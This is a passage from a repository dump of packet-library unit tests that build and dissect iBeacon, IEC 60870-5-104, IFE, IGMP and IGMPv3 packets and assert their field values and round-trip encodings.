1\nassert p[IBeacon_Data].uuid == UUID(\"fb0b57a2-8228-44cd-913a-94a122ba1206\")\nassert p[IBeacon_Data].major == 1\nassert p[IBeacon_Data].minor == 2\nassert p[IBeacon_Data].tx_power == -47\n\nd2 = raw(p)\nassert d == d2\n\n= iBeacon (encode LE Set Advertising Data)\n\nd = hex_bytes('1E0201061AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100')\np = Apple_BLE_Submessage()/IBeacon_Data(\n   uuid='fb0b57a2-8228-44cd-913a-94a122ba1206',\n   major=1, minor=2, tx_power=-47)\n\nsap = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data]\nassert d == raw(sap)\n\npa = Apple_BLE_Frame(plist=[p])\nsapa = pa.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data]\nassert d == raw(sapa)\n\n# Also try to build with Submessage directly\nsapa = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data]\nassert d == raw(sapa)\n\n= iBeacon (decode advertising frame)\n\n# from https://en.wikipedia.org/wiki/IBeacon#Spoofing\nd = hex_bytes('043E2A02010001FCED16D4EED61E0201061AFF4C000215B9407F30F5F8466EAFF925556B57FE6DEDFCD416B6B4')\np = HCI_Hdr(d)\n\nassert p[HCI_LE_Meta_Advertising_Report].addr == 'd6:ee:d4:16:ed:fc'\nassert len(p[Apple_BLE_Frame].plist) == 1\nassert p[IBeacon_Data].uuid == UUID('b9407f30-f5f8-466e-aff9-25556b57fe6d')\n\n+ Overflow area\n\n= Basic overflow area packet\n\nd = hex_bytes('14ff4c000100000000000000000000000000000080')\np = EIR_Hdr(d)\n\nassert raw(p) == d\nassert len(p[Apple_BLE_Frame].plist) == 1\nassert p[Apple_BLE_Submessage].subtype == 0x01\nassert p[Apple_BLE_Submessage].len == None\n\npayload = p[Apple_BLE_Submessage].payload\nassert isinstance(payload, Raw)\nassert raw(payload) == hex_bytes('00000000000000000000000000000080')\n"
  },
  {
    "path": "test/contrib/iec104.uts",
    "content": "% IEC 60870-5-104 test campaign\n\n#\n# execute test:\n# > test/run_tests -t test/contrib/iec104.uts\n#\n\n+ iec104 infrastructure\n\n= load the iec104 layer\n\nload_contrib('scada.iec104')\n\n= class attribute generator\n\nassert IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_4 == 4\nassert IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_8 == 8\nassert IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_9 == 9\nassert IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_15 == 15\n\n= IEC60870_5_4_NormalizedFixPoint\n\ntest_data = [\n    (b'\\x9c\\x84',  -0.963989,     -31588),\n    (b'\\x46\\xf6',  -0.075989,    -2490),\n    (b'\\xc9\\xf6',  -0.071991,     -2359),\n    (b'\\x40\\xf5',  -0.083984,    -2752),\n    (b'\\x89\\x01',   0.011993,     393),\n    (b'\\xd2\\x0d',   0.107971,      3538),\n    (b'\\xd7\\x23',   0.279999,      9175),\n    (b'\\x76\\x3e',   0.487976,      15990),\n    (b'\\x08\\x6c',   0.843994,      27656),\n    (b'\\xff\\x7f',   0.999969,      32767)\n]\n\nnfp = IEC60870_5_4_NormalizedFixPoint('foo', 0)\n\nfor num_raw, num_fp, num_ss in test_data:\n    i_val = nfp.getfield(None, num_raw)[1]\n    assert i_val == num_ss\n    assert round(nfp.i2h(None, i_val), 6) == round(num_fp, 6)\n\n\n= Iec104SequenceNumber field\n\niec104_seq_num = IEC104SequenceNumber('rx_seq', 0)\n\ntest_data = {\n    1: b'\\x02\\x00',\n    2: b'\\x04\\x00',\n    14 : b'\\x1c\\x00',\n    16 : b'\\x20\\x00',\n    73 : b'\\x92\\x00',\n    127: b'\\xfe\\x00',\n    128: b'\\x00\\x01',\n    129: b'\\x02\\x01',\n    253: b'\\xfa\\x01',\n    254: b'\\xfc\\x01',\n    255: b'\\xfe\\x01',\n    5912: b'\\x30\\x2e',\n    31282: b'\\x64\\xf4',\n    32767: b'\\xfe\\xff'\n}\n\nfor key in test_data:\n    assert iec104_seq_num.getfield(None, test_data[key])[1] == key\n    assert iec104_seq_num.addfield(None, b'', key) == test_data[key]\n\n+ raw layer dissection\n\n= IEC104_U_Message\n\nraw_u_msg = b'\\x68\\x04\\x83\\x00\\x00\\x00'\n\nlyr = iec104_decode(b'\\x68\\x04\\x83\\x00\\x00\\x00')\nassert lyr.__class__ == IEC104_U_Message\n\n= IEC104_S_Message\n\nraw_s_msg = b'\\x68\\x04\\x01\\x00\\xa6\\x17'\n\nlyr = iec104_decode(raw_s_msg)\nassert lyr.__class__ == IEC104_S_Message\n\n= IEC104_I_Message_SeqIOA\n\nraw_i_msg_seq_ioa = b'\\x68\\x1f\\x2c\\x00\\x04\\x00'  # APCI\nraw_i_msg_seq_ioa += b'\\x01\\x92\\x14\\x00\\x23\\x00\\x12\\x54\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'  # ASDU\n\nlyr = iec104_decode(raw_i_msg_seq_ioa)\nassert lyr.__class__ == IEC104_I_Message_SeqIOA\n\n= IEC104_I_Message_SingleIOA\n\nraw_i_msg_single_ioa = b'\\x68\\x0e\\x00\\x00\\x00\\x00\\x64\\x01\\x06\\x00\\x0a\\x00\\x00\\x00\\x00\\x14'\n\nlyr = iec104_decode(raw_i_msg_single_ioa)\nassert lyr.__class__ == IEC104_I_Message_SingleIOA\n\n+ IEC104 S Message\n\n= single IEC104 S Message\n\ns_msg = b'\\x68\\x04\\x01\\x00\\xa6\\x17'\n\ns_msg = IEC104_S_Message(s_msg)\n\nassert s_msg.rx_seq_num == 3027\n\nraw_s_message = b'\\x00\\x14\\xab\\x00\\x3c\\x13\\x00\\x1b\\x8d\\xf1\\xdc\\x12\\x08\\x00\\x45\\x10\\x00\\x3a\\x8d\\xdb\\x40\\x00\\x3d\\x06\\x54\\x46\\x1a\\x52\\x01\\xde\\xc1\\x28\\x15\\x5c\\xaa\\x56\\x09\\x64\\x16\\x67\\x6c\\xd7\\x53\\x07\\x28\\x98\\x80\\x18\\x79\\x5e\\x9b\\x14\\x00\\x00\\x01\\x01\\x08\\x0a\\x9e\\x08\\xaa\\x23\\x73\\xe8\\x6c\\xc3\\x68\\x04\\x01\\x00\\xc2\\x3a'\n\nfrm = Ether(raw_s_message)\n\ns_msg = frm.getlayer(IEC104_S_Message)\nassert s_msg\nassert s_msg.rx_seq_num == 7521\n\nfrm = Ether(frm.do_build())\n\ns_msg = frm.getlayer(IEC104_S_Message)\nassert s_msg\nassert s_msg.rx_seq_num == 7521\n\n= double IEC104 S Message (test layer binding)\n\nraw_double_s_message = b'\\x00\\x14\\xab\\x00\\x3c\\x13\\x00\\x1b\\x8d\\xf1\\xdc\\x12\\x08\\x00\\x45\\x10\\x00\\x40\\x8d\\xdb\\x40\\x00\\x3d\\x06\\x54\\x46\\x0c\\x35\\x1b\\x33\\xc1\\x28\\x15\\x44\\xaa\\x56\\x09\\x64\\x16\\x67\\x6c\\xd7\\x53\\x07\\x28\\x98\\x80\\x18\\x79\\x5e\\x9b\\x14\\x00\\x00\\x01\\x01\\x08\\x0a\\x9e\\x08\\xaa\\x23\\x73\\xe8\\x6c\\xc3\\x68\\x04\\x01\\x00\\xc2\\x3a\\x68\\x04\\x01\\x00\\xc2\\x3b'\n\nfrm = Ether(raw_double_s_message)\n\ns_msg = frm.getlayer(IEC104_S_Message)\nassert s_msg\nassert s_msg.rx_seq_num == 7521\n\ns_msg = frm.getlayer(IEC104_S_Message, nb=2)\nassert s_msg\nassert s_msg.rx_seq_num == 7649\n\nfrm = Ether(frm.do_build())\n\ns_msg = frm.getlayer(IEC104_S_Message)\nassert s_msg\nassert s_msg.rx_seq_num == 7521\n\ns_msg = frm.getlayer(IEC104_S_Message, nb=2)\nassert s_msg\nassert s_msg.rx_seq_num == 7649\n\n+ IEC104 U Message\n\n= single IEC104 U Message\n\nfrm = Ether()/IP()/TCP()/IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1)\nfrm = Ether(frm.do_build())\nu_msg = frm.getlayer(IEC104_U_Message)\nassert u_msg\nassert u_msg.startdt_act == 1\nassert u_msg.startdt_con == 0\nassert u_msg.stopdt_con == 1\nassert u_msg.stopdt_act == 0\nassert u_msg.testfr_act == 1\nassert u_msg.testfr_con == 0\n\nu_msg_tst_act = b'\\x68\\x04\\x43\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_tst_act)\nassert u_msg.testfr_act == 1\n\nu_msg_tst_con = b'\\x68\\x04\\x83\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_tst_con)\nassert u_msg.testfr_con == 1\n\nu_msg_startdt_act = b'\\x68\\x04\\x07\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_startdt_act)\nassert u_msg.startdt_act == 1\n\nu_msg_startdt_con = b'\\x68\\x04\\x0b\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_startdt_con)\nassert u_msg.startdt_con == 1\n\nu_msg_stopdt_act = b'\\x68\\x04\\x13\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_stopdt_act)\nassert u_msg.stopdt_act == 1\n\nu_msg_stopdt_con = b'\\x68\\x04\\x23\\x00\\x00\\x00'\nu_msg = IEC104_U_Message(u_msg_stopdt_con)\nassert u_msg.stopdt_con == 1\n\n= double IEC104 U Message\n\nfrm = Ether()/IP()/TCP()/\\\n      IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1)/\\\n      IEC104_U_Message(startdt_con = 1, stopdt_act = 1, testfr_con=1)\n\nfrm = Ether(frm.do_build())\nu_msg = frm.getlayer(IEC104_U_Message)\nassert u_msg\nassert u_msg.startdt_act == 1\nassert u_msg.stopdt_con == 1\nassert u_msg.testfr_act == 1\n\nu_msg = frm.getlayer(IEC104_U_Message, nb=2)\nassert u_msg\nassert u_msg.startdt_con == 1\nassert u_msg.stopdt_act == 1\nassert u_msg.testfr_con == 1\n\n+ IEC104 I Message\n\n= Sequence IOA, single IO - information object types dissection\n\nfor io_id in IEC104_IO_CLASSES:\n    io_class = IEC104_IO_CLASSES[io_id]\n    frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(io=io_class())\n    frm = Ether(frm.do_build())\n    io_layer = frm.getlayer(io_class)\n    assert io_layer\n\n= Single IOA, single IO - information object types dissection\n\nfor io_id in IEC104_IO_WITH_IOA_CLASSES:\n    io_class = IEC104_IO_WITH_IOA_CLASSES[io_id]\n    frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SingleIOA(io=io_class())\n    frm = Ether(frm.do_build())\n    io_layer = frm.getlayer(io_class)\n    assert io_layer\n\n= Sequence IOA, multiple IOs - information object types dissection\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2),IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)])\nfrm = Ether(frm.do_build())\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert i_msg_lyr\n\nassert i_msg_lyr.information_object_address == 1234\n\nm_sp_ta_1_lyr = i_msg_lyr.io[0]\nassert (m_sp_ta_1_lyr.minutes == 1)\nassert (m_sp_ta_1_lyr.sec_milli == 2)\n\nm_sp_ta_1_lyr = i_msg_lyr.io[1]\nassert (m_sp_ta_1_lyr.minutes == 3)\nassert (m_sp_ta_1_lyr.sec_milli == 4)\n\n= Single IOA, multiple IOs - information object types dissection\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\\\n      IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2),\n                                     IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222,minutes = 3, sec_milli = 4)])\nfrm = Ether(frm.do_build())\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA)\nassert i_msg_lyr\n\nm_sp_ta_1_lyr = i_msg_lyr.io[0]\nassert (m_sp_ta_1_lyr.information_object_address==1111)\nassert (m_sp_ta_1_lyr.minutes == 1)\nassert (m_sp_ta_1_lyr.sec_milli == 2)\n\n\nm_sp_ta_1_lyr = i_msg_lyr.io[1]\nassert (m_sp_ta_1_lyr.information_object_address==2222)\nassert (m_sp_ta_1_lyr.minutes == 3)\nassert (m_sp_ta_1_lyr.sec_milli == 4)\n\n= Sequence IOA, multiple  APDUs\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\\\n      IEC104_I_Message_SeqIOA(information_object_address=1234,\n                              io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2),\n                                  IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)])/ \\\n      IEC104_I_Message_SeqIOA(information_object_address=5432,\n                              io=[IEC104_IO_C_RC_TA_1(minutes = 5, sec_milli = 6),\n                                     IEC104_IO_C_RC_TA_1(minutes = 7, sec_milli = 8)])\n\nfrm = Ether(frm.do_build())\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1)\nassert i_msg_lyr\nassert (i_msg_lyr.information_object_address == 1234)\nassert len(i_msg_lyr.io) == 2\nassert i_msg_lyr.io[0].minutes == 1\nassert i_msg_lyr.io[0].sec_milli == 2\nassert i_msg_lyr.io[1].minutes == 3\nassert i_msg_lyr.io[1].sec_milli == 4\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2)\nassert i_msg_lyr\nassert (i_msg_lyr.information_object_address == 5432)\nassert len(i_msg_lyr.io) == 2\nassert i_msg_lyr.io[0].minutes == 5\nassert i_msg_lyr.io[0].sec_milli == 6\nassert i_msg_lyr.io[1].minutes == 7\nassert i_msg_lyr.io[1].sec_milli == 8\n\n= Single IOA, multiple  APDUs\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\\\n      IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111,\n                                                             minutes = 1, sec_milli = 2),\n                                     IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222,\n                                                             minutes = 3, sec_milli = 4)])/ \\\n      IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333,\n                                                             minutes = 5, sec_milli = 6),\n                                     IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444,\n                                                             minutes = 7, sec_milli = 8)])\n\nfrm = Ether(frm.do_build())\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1)\nassert i_msg_lyr\nassert len(i_msg_lyr.io) == 2\nassert (i_msg_lyr.io[0].information_object_address == 1111)\nassert i_msg_lyr.io[0].minutes == 1\nassert i_msg_lyr.io[0].sec_milli == 2\nassert (i_msg_lyr.io[1].information_object_address == 2222)\nassert i_msg_lyr.io[1].minutes == 3\nassert i_msg_lyr.io[1].sec_milli == 4\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=2)\nassert i_msg_lyr\nassert len(i_msg_lyr.io) == 2\nassert (i_msg_lyr.io[0].information_object_address == 3333)\nassert i_msg_lyr.io[0].minutes == 5\nassert i_msg_lyr.io[0].sec_milli == 6\nassert (i_msg_lyr.io[1].information_object_address == 4444)\nassert i_msg_lyr.io[1].minutes == 7\nassert i_msg_lyr.io[1].sec_milli == 8\n\n= Mixed Single and Sequence IOA, multiple APDU\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\\\n      IEC104_I_Message_SeqIOA(information_object_address=1111,\n                              io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2),\n                                  IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/ \\\n      IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333,\n                                                             minutes = 5, sec_milli = 6),\n                                     IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444,\n                                                             minutes = 7, sec_milli = 8)])/ \\\n      IEC104_I_Message_SeqIOA(information_object_address=5555,\n                              io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 9),\n                                  IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 10)])/ \\\n      IEC104_I_Message_SingleIOA(io=IEC104_IO_C_RP_NA_1_IOA(information_object_address=5555))\n\nfrm = Ether(frm.do_build())\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1)\nassert i_msg_lyr\nassert (i_msg_lyr.information_object_address == 1111)\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2)\nassert i_msg_lyr\nassert (i_msg_lyr.information_object_address == 5555)\n\ni_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1)\nassert i_msg_lyr\nassert (i_msg_lyr.io[0].information_object_address == 3333)\n\n+ mixed APDU types in one packet\n\n= I/U/S Message sequence (mixed APDUs)\n\nfrm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\\\n      IEC104_I_Message_SeqIOA(information_object_address=1111,\n                              rx_seq_num=1234,\n                              tx_seq_num=6789,\n                              io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2),\n                                  IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/\\\n    IEC104_U_Message()/ \\\n    IEC104_S_Message(rx_seq_num=666)\n\nfrm = Ether(frm.do_build())\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert i_msg\nu_msg = frm.getlayer(IEC104_U_Message)\nassert u_msg\ns_msg = frm.getlayer(IEC104_S_Message)\nassert s_msg\n\n+ information elements & objects\n\n= ASDU allowed in given standard (examples)\n\nlayer = IEC104_IO_M_SP_NA_1()\nassert layer.defined_for_iec_101() is True\nassert layer.defined_for_iec_104() is True\n\nlayer = IEC104_IO_M_DP_TA_1()\nassert layer.defined_for_iec_101() is True\nassert layer.defined_for_iec_104() is False\n\nlayer = IEC104_IO_C_SC_TA_1()\nassert layer.defined_for_iec_101() is False\nassert layer.defined_for_iec_104() is True\n\n\n= BCR - binary counter reading / IEC104_IO_M_IT_NA_1 - integrated totals\n\n# (counter , sequence) test data\nvalues = [(1, 1), (1111, 17), (23456, 21), (31234, 30), (32767, 31)]\nm_it_na = []\nfor value, sequence in values:\n    m_it_na.append(IEC104_IO_M_IT_NA_1(counter_value=value, sq=sequence))\n\nfrm = Ether()/IP()/TCP()/IEC104_I_Message_SeqIOA(io=m_it_na)\nfrm = Ether(frm.do_build())\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert i_msg\n\nfor idx, value in enumerate(values):\n    value, sequence = value\n    assert i_msg.io[idx].counter_value == value\n    assert (i_msg.io[idx].sq == sequence)\n\n= DIQ - double-point information with quality descriptor / IEC104_IO_M_DP_NA_1 - double-point information without time tag\n\nfrm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED))\nfrm = Ether(frm.do_build())\n\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert i_msg\nassert i_msg.io[0].dpi_value==IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED\n\n= VTI - value with transient state indication / IEC104_IO_M_ST_NA_1 - step position information\n\nvalues = [0, 1, 2, 62, 63, -1, -2, -63, -64]\nm_st_na_1 = []\nfor value in values:\n    m_st_na_1.append(IEC104_IO_M_ST_NA_1(value=value))\n\nfrm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=m_st_na_1)\nfrm = Ether(frm.do_build())\n\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert (i_msg)\n\nfor idx, value in enumerate(values):\n    assert (i_msg.io[idx].value == value)\n\n= IEC104_IO_C_RD_NA_1 - read command (zero byte field)\n\nfrm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(information_object_address=0x112233,\n                                                       io=[\n                                                           IEC104_IO_C_RD_NA_1(),\n                                                           IEC104_IO_C_RD_NA_1()\n                                                       ])/ \\\n      IEC104_I_Message_SeqIOA(information_object_address=0x445566,\n                              io=[IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)])/ \\\n      IEC104_I_Message_SeqIOA(information_object_address=0x445567,\n                              io=[IEC104_IO_C_RD_NA_1()])\n\nfrm = Ether(frm.do_build())\n\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA)\nassert (i_msg)\nassert (i_msg.information_object_address == 0x112233)\nassert (len(i_msg.io) == 2)\n\ni_msg = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2)\nassert (i_msg)\nassert (i_msg.information_object_address == 0x445566)\n"
  },
  {
    "path": "test/contrib/ife.uts",
    "content": "% IFE test campaign\n\n#\n# execute test:\n# > test/run_tests -P \"load_contrib('ife')\" -t test/contrib/ife.uts\n#\n\n+ Basic layer handling\n= build basic IFE frames\n\nfrm = Ether()/IFE(tlvs=[IFESKBMark(value=3), IFETCIndex(value=5)])\n\nfrm = Ether(bytes(frm))\n\nassert IFE in frm\nassert frm[IFE].tlvs[0].type == 1\nassert frm[IFE].tlvs[0].length == 8\nassert frm[IFE].tlvs[0].value == 3\nassert frm[IFE].tlvs[1].type == 5\nassert frm[IFE].tlvs[1].length == 6\nassert frm[IFE].tlvs[1].value == 5\n\n= add padding if required\n\nfrm = Ether()/IFE(tlvs=[IFETCIndex()])\nassert len(raw(frm)) == 24\n\nfrm = Ether()/IFE(tlvs=[IFESKBMark(), IFETCIndex()])\nassert len(raw(frm)) == 32\n\n= variable payload\n\nfrm = Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IFE(tlvs=[IFETlvStr(b\"testsr\")])\nassert bytes(frm) == b'\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xed>\\x00\\x08testsr'\n"
  },
  {
    "path": "test/contrib/igmp.uts",
    "content": "############\n% IGMP tests\n############\n\n+ Basic IGMP tests\n\n= Build IGMP - Basic\n\na=Ether(src=\"00:01:02:03:04:05\")\nb=IP(src=\"1.2.3.4\")\nc=IGMP(gaddr=\"0.0.0.0\")\nx = a/b/c\nx[IGMP].igmpize()\nassert x.mrcode == 20\nassert x[IP].dst == \"224.0.0.1\"\n\n= Build IGMP - Custom membership\n\na=Ether(src=\"00:01:02:03:04:05\")\nb=IP(src=\"1.2.3.4\")\nc=IGMP(gaddr=\"224.0.1.2\")\nx = a/b/c\nx[IGMP].igmpize()\nassert x.mrcode == 20\nassert x[IP].dst == \"224.0.1.2\"\n\n= Build IGMP - LG\n\na=Ether(src=\"00:01:02:03:04:05\")\nb=IP(src=\"1.2.3.4\")\nc=IGMP(type=0x17, gaddr=\"224.2.3.4\")\nx = a/b/c\nx[IGMP].igmpize()\nassert x.dst == \"01:00:5e:00:00:02\"\nassert x.mrcode == 0\nassert x[IP].dst == \"224.0.0.2\"\n\n= Change IGMP params\n\nx = Ether(src=\"00:01:02:03:04:05\")/IP()/IGMP()\nx[IGMP].igmpize()\nassert x.mrcode == 20\nassert x[IP].dst == \"224.0.0.1\"\n\nx = Ether(src=\"00:01:02:03:04:05\")/IP()/IGMP(gaddr=\"224.2.3.4\", type=0x12)\nx.mrcode = 1\nx[IGMP].igmpize()\nx = Ether(raw(x))\nassert x.mrcode == 0\n\nx.gaddr = \"224.3.2.4\"\nx[IGMP].igmpize()\nassert x.dst == \"01:00:5e:03:02:04\"\n\nx.ttl = 64\nx[IGMP].igmpize()\nassert x.ttl == 1\n\n= Test mysummary\n\nx = Ether(src=\"00:01:02:03:04:05\")/IP(src=\"192.168.0.1\")/IGMP(gaddr=\"224.0.0.2\", type=0x17)\nx[IGMP].igmpize()\nassert x[IGMP].mysummary() == \"IGMP: 192.168.0.1 > 224.0.0.2 Leave Group 224.0.0.2\"\n\nassert IGMP().mysummary() == \"IGMP Group Membership Query 0.0.0.0\"\n\n= IGMP - misc\n~ netaccess\n\nx = Ether(src=\"00:01:02:03:04:05\")/IP(dst=\"192.168.0.1\")/IGMP(gaddr=\"www.google.fr\", type=0x11)\nx = Ether(raw(x))\nassert not x[IGMP].igmpize()\nassert x[IP].dst == \"192.168.0.1\"\n\nx = Ether(src=\"00:01:02:03:04:05\")/IP(dst=\"192.168.0.1\")/IGMP(gaddr=\"124.0.2.1\", type=0x00)\nassert not x[IGMP].igmpize()\nassert x[IP].dst == \"192.168.0.1\""
  },
  {
    "path": "test/contrib/igmpv3.uts",
    "content": "##############\n% IGMPv3 tests\n##############\n\n+ Basic IGMPv3 tests\n\n= Build IGMPv3 - Basic\n\na=Ether(src=\"00:01:02:03:04:05\")\nb=IP(src=\"1.2.3.4\")\nc=IGMPv3(mrcode=154)/IGMPv3mq()\nx = a/b/c\nx[IGMPv3].igmpize()\nassert x.mrcode == 131\nassert x[IP].dst == \"224.0.0.1\"\nassert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)\n\n= Build IGMPv3 - igmpize\n\na=Ether(src=\"00:01:02:03:04:05\")\nb=IP(src=\"1.2.3.4\")\nc=IGMPv3()/IGMPv3mr(records = [IGMPv3gr(maddr = \"232.1.1.10\", srcaddrs = [\"10.0.0.10\"])])\nx = a/b/c\nret = x[IGMPv3].igmpize()\nassert ret\n\n= Dissect IGMPv3 - IGMPv3mq\n\nx = Ether(b'\\x14\\x0cv\\x8f\\xfe(\\x00\\x01\\x02\\x03\\x04\\x05\\x08\\x00F\\xc0\\x00$\\x00\\x01\\x00\\x00\\x01\\x02\\xe4h\\xc0\\xa8\\x00\\x01\\xe0\\x00\\x00\\x16\\x94\\x04\\x00\\x00\\x11\\x14\\x0e\\xe9\\xe6\\x00\\x00\\x02\\x00\\x00\\x00\\x00')\nassert IGMPv3 in x\nassert IGMPv3mq in x\nassert x[IGMPv3mq].gaddr == \"230.0.0.2\"\nassert x.summary() == \"Ether / IP / IGMPv3: 192.168.0.1 > 224.0.0.22 Membership Query / IGMPv3mq\"\nassert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)\n\n= Dissect IGMPv3 - IGMPv3mr\n\nx = Ether(b'\\x01\\x00^\\x00\\x00\\x16\\xa8\\xf9K\\x00\\x00\\x01\\x08\\x00E\\xc0\\x00D\\x00\\x01\\x00\\x00\\x01\\x02\\xd6\\xdf\\x01\\x01\\x01\\x01\\xe0\\x00\\x00\\x16\"\\x00;\\xa6\\x00\\x00\\x00\\x04\\x01\\x00\\x00\\x02\\xe6\\x00\\x00\\x00\\xc0\\xa8\\x00\\x01\\xc0\\xa8\\x84\\xf7\\x01\\x00\\x00\\x00\\xe6\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\xe6\\x00\\x00\\x02\\x01\\x00\\x00\\x00\\xe6\\x00\\x00\\x03')\nassert IGMPv3 in x\nassert IGMPv3mr in x\nassert len(x[IGMPv3mr].records) == 4\nassert x[IGMPv3mr].records[0].srcaddrs == [\"192.168.0.1\", \"192.168.132.247\"]\nassert x[IGMPv3mr].records[1].maddr == \"230.0.0.1\"\nassert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)\n\n= Dissect IGMPv3 - IGMPv3mra\n\nx = Ether(b'\\x14\\x0cv\\x8f\\xfe(\\x00\\x01\\x02\\x03\\x04\\x05\\x08\\x00F\\xc0\\x00 \\x00\\x01\\x00\\x00\\x01\\x02\\xe4l\\xc0\\xa8\\x00\\x01\\x7f\\x00\\x00\\x01\\x94\\x04\\x00\\x000\\x14\\xcf\\xe6\\x00\\x03\\x00\\x02')\nassert IGMPv3 in x\nassert IGMPv3mra in x\nassert x[IGMPv3mra].qryIntvl == 3\nassert x[IGMPv3mra].robust == 2\nassert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)\n\n= IGMP vs IVMPv3 tests\n\nassert isinstance(IGMPv3(raw(IGMP())), IGMP)\nassert isinstance(IGMPv3(raw(IGMP(type=0x11))), IGMP)\nassert isinstance(IGMP(raw(IGMPv3()/IGMPv3mra())), IGMPv3)\nassert isinstance(IGMP(raw(IGMPv3()/IGMPv3mq())), IGMPv3)\n\n= IGMPv3 - summaries\n\npkt = IGMPv3()/IGMPv3mr(records=[IGMPv3gr(maddr=\"127.0.0.1\")])\nassert pkt.summary() == 'IGMPv3 Version 3 Membership Report / IGMPv3mr'\n"
  },
  {
    "path": "test/contrib/ikev2.uts",
